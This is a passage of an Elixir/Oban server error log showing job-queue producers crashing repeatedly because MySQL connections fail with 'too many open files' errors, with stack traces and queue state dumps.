    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:19:19.240175Z], limit: 5, uuid: "08b797d3-35a7-4210-b4e1-a8416ac6e783", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.240181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53789>, refresh_timer: #Reference<0.2525715032.1121189889.178284>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.901000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:34.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:37.339000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:37.411000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:38.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:39.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:19:31.240353Z], limit: 5, uuid: "5ae5caec-991f-4de2-82df-f030f82350c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.240359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53936>, refresh_timer: #Reference<0.2525715032.1068498948.53932>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:19:31.240090Z], limit: 20, uuid: "a16d052c-6371-4ca8-aeb2-9d797f3613e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.240095Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.178758>, refresh_timer: #Reference<0.2525715032.1099431938.55535>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:19:31.239863Z], limit: 10, uuid: "8e2e0ccf-d61d-4651-a3c3-b94090674c0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.239868Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.178759>, refresh_timer: #Reference<0.2525715032.1099431938.55524>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:19:31.240770Z], limit: 5, uuid: "2bda5370-2050-4b3e-97f7-3b9127f76d6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.240776Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32317>, refresh_timer: #Reference<0.2525715032.1077673987.32309>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:19:31.240188Z], limit: 50, uuid: "80927782-d45f-4ea2-9d04-e40509e88456", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.240196Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.178761>, refresh_timer: #Reference<0.2525715032.1068498948.53924>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:19:31.239601Z], limit: 3, uuid: "298d5208-4dda-4f9e-83de-fe6f85397c32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:31.239607Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.178760>, refresh_timer: #Reference<0.2525715032.1099431938.55522>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:43.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:43.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:45.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:47.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:47.744000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:48.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:54.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:19:43.238768Z], limit: 10, uuid: "fa7b2328-b5d8-412b-9fd6-076e66c2147f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:43.238773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179215>, refresh_timer: #Reference<0.2525715032.1099431938.55670>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
